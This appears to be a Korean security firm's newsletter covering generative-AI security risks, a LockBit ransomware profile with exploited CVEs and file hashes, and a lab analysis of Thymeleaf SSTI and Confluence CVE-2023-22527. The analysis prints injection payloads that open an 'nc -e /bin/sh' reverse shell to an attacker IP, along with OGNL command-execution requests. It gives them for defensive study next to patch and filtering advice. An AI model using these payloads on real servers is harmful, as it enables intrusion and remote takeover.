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Headline 
  

 

생성형 AI 기술 발전에 따른 보안위협과 대응 전략 

 

기업명 서비스명 국가 내용 

텍스트

오픈 AI 챗 GPT 미국 
초 거대 언어 AI 모델 GPT 를 바탕으로 만든 대화형 AI 

서비스 

구글 Bard 미국 
초 거대 언어 AI 모델 LaMDA 를 바탕으로 만든 대화형 AI 

서비스 

DeepMind Sparrow 영국 DeepMind 의 언어모델 Chinchilla 를 기반으로 한 AI 챗봇 

Jasper Jasper 미국 
마케팅 목적의 블로그 기사, 소셜미디어 게시물 및 광고 

문구 등을 생성하는 AI 툴 

Baidu Ernie Bot 중국 
지식 통합을 통한 향상된 표현이라는 의미의 자체 개발 AI 

챗봇 

이미지 

오픈 AI DALL·E 미국 프롬프트(명령어)에 따른 이미지 생성 

Stability AI 
Stable 

Diffusion 
영국 이미지 생성 AI 로 오픈소스 소프트웨어 

Midjourney Midjourney 미국 
이미지 생성 AI 로, 해당 툴을 사용하여 생성한 작품이 

미국의 한 미술대회에서 1 위로 선정되어 화제가 됨 

음성 
구글 MusicLM 미국 문자 설명을 음악으로 만드는 생성 AI  

오픈 AI Jukebox 미국 원하는 장르, 가수 스타일로 음악을 생성하는 AI 기술 

영상 

구글 
Imagen 

Video 
미국 

최대 초당 24 프레임, 1280X768 해상도의 비디오를 생성할 

수 있는 Text to Video AI 생성 툴 

메타 
Make-A-

Video 
미국 텍스트 입력 시 동영상을 생성해주는 Text to Video AI 모델 
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내부적 요인 외부적 요인 

- 민감 정보 및 기밀 문서 등 등록 

-  AI 모델이 제공하는 부정확한 정보의 무검증 사용 

- 자체 이용 및 관리하는 AI 모델 관리 소홀 

- AI 모델 및 관련 애플리케이션 취약점 공격 

- 생성형 AI 를 악용한 악성 메일, 피싱 공격 

- 악성코드 또는 백도어가 포함된 AI 모델의 사용
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생성형 AI 를 활용한 분석 및 대응 방법 

1. 입력 가능 내용 규정 

- 사전 규정되거나 검토된 내용에 대해서만 입력 

- 계정 정보, 신용카드 및 개인정보 입력 금지 

- 업무 기밀사항 입력 금지 

2. 악성 메일 관련 보안 교육 및 업무용 이메일 관리 체계 강화 

- AI 를 통해 정교하게 위조된 악성 메일 주의 필요 

3. 생성물의 정확성, 윤리성, 적합성, 보안성 등을 재평가 후 사용 

- 생성물이 정확한 내용인지, 법적/윤리적으로 문제없는 것인지 검토 후 사용 

- 프로그램 코드 생성 사용시 변수명 변경 등 소스코드 보안성 검토 후 사용 

4. 사내 데이터 안정성 확보 

- 접속 계정에 대해 다중 인증(MFA : Multi-Factor Authentication) 사용 

- 자체 이용 및 관리하는 AI 모델에 대한 접근 제한 설정 

- AI 에 대한 응답 및 질의 제한 키워드(계정정보 등) 설정 

- API 키에 대한 안전한 관리 

5. 신뢰할 수 있는 AI 모델, 애플리케이션 사용 및 취약점 수시 확인 

6. AI 를 적용한 악성코드 분석, 위협 식별 등 방어 기술을 확보에 지속 노력 
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https://blog.naver.com/sk_shieldus/223247216129
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Keep up with Ransomware 
   

 

다시 돌아온 LockBit, 끝나지 않은 랜섬웨어 공격 

 

◼ 개요 
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◼ 랜섬웨어 뉴스
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◼ 랜섬웨어 위협 
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◼ 랜섬웨어 집중 포커스 
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파일명 설명 

Chocolatey Windows 소프트웨어를 위한 명령줄 기반 패키지 관리자 

Rclone 외부 스토리지 관리 및 업로드/다운로드 프로그램 

WinSCP 
컴퓨터와 서버 간 파일을 전송하거나 관리할 수 있는 Windows 

프로그램 

PsExec 로컬/원격 시스템에 임의의 프로세스를 실행할 수 있는 도구 

StealBit 자체 개발한 정보 탈취 자동화 도구 

Mimikatz 
Windows 시스템의 메모리에서 비밀번호나 자격 증명과 같은 

민감 정보를 추출하는 도구 
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인자 설명 

-path {path} 지정한 경로만 암호화 

-pass {32Bytes key} 랜섬웨어 실행에 필요한 키 입력 

-safe 안전모드로 부팅 후 파일 암호화 

-wall 바탕화면 변경 및 랜섬노트 출력 

-gspd 그룹 정책 수정 및 내부 전파 

-psex 관리 공유를 이용한 내부 전파 

-gdel 그룹 정책 변경 사항 삭제 

-del 실행 후 자가 삭제 
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CVE 설명 영향 버전 패치 버전 

CVE-2018-13379 

Fortinet 의 보안 OS FortiOS 에서 SSL VPN29 을 사용하는 

경우, 시스템 파일을 다운로드 받을 수 있는 파일 경로 

탐색 취약점  

5.4.6 ~ 5.4.12 

5.6.3 ~ 5.6.7 

6.0.0 ~ 6.0.4 

5.6.8 이상 

6.0.5 이상 

CVE-2020-0796 
Windows 에서 사용하는 자원 공유 프로토콜인 SMB 

3.1.1 에서 발생하는 원격 코드 실행 취약점 

Windows 10 & 

Server 2016 

(build 1903, 1909) 

KB4551762 

업데이트 

CVE-2021-44228 
JAVA 기반의 오픈소스 로깅 라이브러리 Log4j 에서 

발견된 원격 코드 실행 취약점 

2.0-beta9 ~ 2.15.0 

(2.12.2, 2.12.3, 

2.3.1 제외) 

2.12.2, 2.12.3, 2.3.1, 

2.16.0 이상 

CVE-2021-22986 
F5 의 애플리케이션 배포 네트워크 장비인 BIG-IP, BIG-

IQ 에서 발생하는 원격 코드 실행 취약점 

패치 버전 이전의 

16.0.*, 15.1.*, 

14.1.*, 13.1.*, 

12.1.* 

16.0.1.1 이상 

15.1.2.1 이상 

14.1.4 이상 

13.1.3.6 이상 

12.1.5.3 이상 

CVE-2021-26855 

CVE-2021-26857 

CVE-2021-26858 

CVE-2021-27065 

MS 의 전자 메일 서버인 Exchange Server 에서 발생하는 

원격 코드 실행 취약점 

Exchange Server 

2013, 2016, 2019 

KB5000871 

업데이트 

CVE-2021-36942 

Windows Server 에서 인증되지 않은 공격자가 도메인 

컨트롤러를 통해 다른 서버에 인증하도록 허용 가능한 

취약점 

2008 r2 sp1, 2016, 

2008 sp2, 2012, 

2012 r2, 2020 h2, 

2004, 2019 

KB5005076 혹은 

KB5005106  

업데이트 

CVE-2022-3653 
크롬 브라우저의 Vulkan 그래픽 엔진에서 발생하는  

힙 버퍼 오버플로우 취약점 

107.0.5304.62 

미만 

107.0.5304.62 

이상 

CVE-2022-36537 

오픈 소스 JAVA 프레임워크 Zk Framework 에서 

발생하는 취약점으로, POST 요청을 조작하여 중요한 

정보에 접근할 수 있는 취약점 

9.6.1, 9.6.0.1, 

9.0.1.2, 8.6.4.1 
9.6.2 이상 

CVE-2023-0669 
Forta 의 보안 관리 파일 전송 소프트웨어 GoAnywhere 

MFT 에서 원격 코드 실행이 가능한 취약점 
7.1.1 이하 7.1.2 이상 

CVE-2023-20269 

통합 보안 플랫폼 Cisco ASA 와 차세대 위협 방어 

플랫폼 Cisco FTD 소프트웨어의 원격 액세스 VPN 

취약점으로 인해 자격 증명을 획득할 수 있는 취약점 

9.19.1.18 이하 9.20 이상 

CVE-2023-27350 

CVE-2023-27351 

인쇄 관리 소프트웨어 PaperCut 에서 사용자 증명을 

우회하여 관리자로 서버에 접근 후 원격 코드 실행이 

가능한 취약점 

15.0.0 ~ 20.1.7, 

21.0.0 ~ 21.2.11, 

22.0.0 ~ 22.0.9 

20.1.7 이상 

21.2.11 이상 

22.0.9 이상 

CVE-2023-4966 
네트워킹 제품인 NetScaler ADC 및 NetScaler 

Gateway 에서 발생하는 정보유출 취약점 

패치 버전 이전의 

14.1*, 13.1*, 13.0* 

14.1-8.50 이상 

13.1-49.15 이상 

13.0-92.19 이상 

CVE-2024-1709 

원격 데스크톱 솔루션 ScreenConnect 취약점으로, 원격 

데스크톱에 시스템 관리자 계정을 생성할 수 있는 인증 

우회 취약점 

23.9.7 이하 23.9.8 이상 
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임서은.docx 

sed.exe 

저작권 침해관련 안내(제작자입니다).eml 

입사지원서_220822(경력사항도 같이 기재하였으니 확인부탁드립니다).exe 

이미지 원본(제가 제작한 이미지)과 사용하고 있으신 이미지 정리한 내용.exe 

5c9b94f7aed569bb91c77cb0bf8a4f0c13145f8ac35bccc961c973720e46cc62 

a4219b77de0ee4c2e17011b95acc69432bcb1a8dc4eb761027b9c997144a76dd 

cafaaadd3747dfec3df88a34fea56695a0b5b03b27091b770075a72b03d2d105 

917e115cc403e29b4388e0d175cbfac3e7e40ca1742299fbdb353847db2de7c2 

535e0dbd97cb9ea66f375400b550dd3bcad0788a89fb46996a651053a2df07c3 

4ade4f6ed21b33f627fcc704db4cbfb3dd807516c1e6fc52ae6edb8a66bc80a5 

1f0617725b2a0b0c3bb1067f0b77da049da0545710d9743813969b3bbcc563f4 
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◼ 참고 사이트 



Research & Technique 
    

 

SSTI & Atlassian Confluence RCE 취약점(CVE-2023-22527) 

1. Server-Side Template Injection(SSTI) 

■ 취약점 개요  
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■ SSTI 동작 과정 

 
 

① 공격자는 특정 템플릿 구문을 이용해서 SSTI 취약점이 있는지 확인한다. 

② SSTI 취약점이 확인되면, 공격자가 악의적인 템플릿 구문을 삽입하여 악성 코드 업로드, 원격 명령 실행을 수

행한다. 

③ 취약한 서버는 공격자의 입력 값을 템플릿 구문으로 해석하여 해당 템플릿 구문 실행 결과를 반환한다. 

④ 공격자는 악의적인 템플릿 구문 실행을 통해 서버의 주요정보를 탈취한다. 
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■ 주요 언어별 서버 측 템플릿 엔진 

Language Framework Template Engine 템플릿 구문 예시 

Python Flask Jinja2 {{7*7}} 

C# ASP.Net Razor @(7*7) 

Java Springboot Thymeleaf ${7*7} 

JavaScript - Jade = 7*7 

PHP Symphony Twig {{7*7}} 
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■ SSTI 공격 분석 

import org.thymeleaf.spring5.SpringTemplateEngine; 

import org.thymeleaf.templateresolver.ITemplateResolver; 

import org.thymeleaf.templateresolver.StringTemplateResolver; 

… (중략) … 

public class MainController { 

    @RequestMapping("/thymeleaf") 

    @ResponseBody 

    public String thymeleaf(@RequestParam(defaultValue="sktester") String username, HttpServletRequest 

request, HttpServletResponse response) { 

        String template = "<!DOCTYPE html><html lang='en'><head>" + 

        … (중략) … 

        + name +"</p></body></html>"; 

        TemplateEngine templateEngine = new SpringTemplateEngine(); 

        ITemplateResolver templateResolver = new StringTemplateResolver(); 

        templateEngine.setTemplateResolver(templateResolver); 

        WebContext ctx = new WebContext(request, response, request.getServletContext()); 

        … (중략) … 

        Writer out = new StringWriter(); 

        templateEngine.process(template, ctx, out); 

        return out.toString();}

구분자 설명 예시 

${ … } 변수 표현식 <div th:text=”${foo}”></div> 

@{ … } URL 링크 표현식 

<li><a 

th:href=”@{/foo(param1=${param1}, 

param2=${param2})}”>foo</a></li> 

[[ … ]] 데이터 직접 접근 [[${data}]] 

th:text 태그 내 데이터 접근 <h1 th:text=”${data}”>data</h1> 

(※ https://www.thymeleaf.org/doc/tutorials/3.0/uingthymeleaf.html#standard-expression-syntax) 

https://www.thymeleaf.org/doc/tutorials/3.0/uingthymeleaf.html#standard-expression-syntax
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페이로드 [[${7*7}]] 

입력 값 ?username=%5b%5b%24%7b%37%2a%37%7d%5d%5d 

페이로드 <a th:text=${7*7}></a> 

입력 값 
?username=%3c%61%20%74%68%3a%74%65%78%74%3d%24%7b%37%2a%37%7d 

%3e%3c%2f%61%3e 
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페이로드 
<a th:text=”${‘’.getClass().forName(‘java.lang.Runtime’).getRuntime().exec(‘nc –e 

 /bin/sh 192.168.102.61 8888’)}”></a> 

입력 값 

?username= <a%20th%3atext%3d”%24%7b%27%27%2egetClass%28%29%2eforName%28%27 

java%2elang%2eRuntime%27%29%2egetRuntime%28%29%2eexec%28%27nc%20-

e%20%2fbin%2fsh%20192%2e168%2e102%2e61%208888%27%29%7d”><%2fa> 
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페이로드 <th th:text="${T( java.lang.Runtime).getRuntime().exec('nc -e /bin/sh 192.168.102.61 8888')}">Test</th> 

입력 값 

?username= <th%20th%3atext%3d"%24%7bT%28java%2elang%2eRuntime%29%2egetRuntime 

%28%29%2eexec%28%27nc%20-e%20%2fbin%2fsh%20192%2e168%2e102%2e61 

%208888%27%29%7d">Test<%2fth> 

 

 

 

페이로드 [[${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("nc -e /bin/sh 192.168.102.61 8888")}]] 

입력 값 
?username=%5b%5b%24%7b%23rt%20%3d%20%40java%2elang%2eRuntime%40getRuntime%28%29%2c

%23rt%2eexec%28"nc%20-e%20%2fbin%2fsh%20192%2e168%2e102%2e61%208888"%29%7d%5d%5d 
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■ SSTI 대응 방안 

#!/usr/bin/python3 

from flask import * 

 

… (중략) … 

 

@app.route('/', methods=[‘POST’,’GET’]) 

def index(): 

    a = int(request.form[‘a’]) 

    return render_template(‘index.html’, a=a) 

… (후략) …
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페이로드 {{7*7}} 

입력 값 ?id=%7b%7b7%2a7%7d%7d 

 

 

필터링 대상(예시) 

- = + . , / 

? : ^ $ # @ 

* \ “ ※ ~ & 

% ! ( ) [ ] 

< > { } ` _ 
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2. Atlassian Confluence Server 및 Data Center 원격 코드 실행 

취약점(CVE-2023-22527) 

■ 취약점 개요  
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■ 공격 시나리오 

① 공격자는 OSINT 검색 엔진을 통해 취약한 Confluence 서버를 탐색 

② 공격자는 CVE-2023-22527 취약점을 이용하여 피해자 서버에 접근 

③ 공격자는 원격 명령 실행을 통해 Reverse Shell 연결 

④ 공격자는 피해자의 서버를 장악한 뒤 주요 정보를 탈취 

■ 영향받는 소프트웨어 버전 

S/W 구분 취약 버전 

Atlassian Confluence Data Center and Server 

8.0.x 

8.1.x 

8.2.x 

8.3.x 

8.4.x 

8.5.0 ~ 8.5.3 
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■ 테스트 환경 구성 정보 

이름 정보 

피해자 

Ubuntu 22.04.3 LTS 

Atlassian Confluence 8.5.3 

(172.25.48.1) 

공격자 
Kali Linux 

(192.168.142.135) 

■ 취약점 테스트 

 

https://github.com/vulhub/vulhub/tree/master/confluence/CVE-2023-22527
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$ python3 CVE-2023-22527.py --target [Confluence 서버 주소] –-cmd [명령어] 

 

 

 

https://github.com/Avento/CVE-2023-22527_Confluence_RCE
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■ 취약점 상세 분석 

 

 

구분자 설명 예시 

#var 변수 참조 #var = 99 

@class@method(args) 정적 메서드 호출 
@java.util.LinkedHashMap@{“foo”:”foo 

value”, “bar” :”bar value”} 

(※ https://commons.apache.org/dormant/commons-ognl/language-guide.html) 

https://www.skshieldus.com/download/files/download.do?o_fname=EQST%20insight_%ED%86%B5%ED%95%A9%EB%B3%B8_202209.pdf&r_fname=20220926092549714.pdf
https://www.skshieldus.com/download/files/download.do?o_fname=EQST%20insight_%ED%86%B5%ED%95%A9%EB%B3%B8_202209.pdf&r_fname=20220926092549714.pdf
https://commons.apache.org/dormant/commons-ognl/language-guide.html
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?label=\u0027%2b#[OGNL 실행 구문]%2b\u0027 
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객체 RCE 가능 여부 

#request[‘.KEY_velocity.struts2.context’] RCE 가능 

#request[‘.freemarker.TemplateModel’] RCE 가능 

#request[‘.freemarker.Request’] 접근 가능 

 

 

https://github.com/apache/struts/blob/266d2d4ed526edbb8e8035df94e94a1007d7c360/plugins/velocity/src/main/java/org/apache/struts2/views/velocity/VelocityManager.java
https://github.com/apache/struts/blob/266d2d4ed526edbb8e8035df94e94a1007d7c360/plugins/velocity/src/main/java/org/apache/struts2/views/velocity/VelocityManager.java
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입력 값 

?label=\u0027%2b%23request\u005b\u0027.KEY_velocity.struts2.context\u0027 

\u005d.internalGet(\u0027ognl\u0027).findValue(%23parameters.x,{})%2b\u0027 

&x=@org.apache.struts2.ServletActionContext@getResponse().getWriter().write(( 

new freemarker.template.utility.Execute()).exec({"id"})) 
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■ 대응 방안 

 

제품 패치가 적용된 버전 

Confluence Data Center and Confluence Server 8.5.4(LTS) 

Confluence Data Center 
8.6.0(Data Center Only) 

8.7.1(Data Center Only) 

 

https://confluence.atlassian.com/kb/faq-for-cve-2023-22527-1332810917.html
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■ 참고 사이트  
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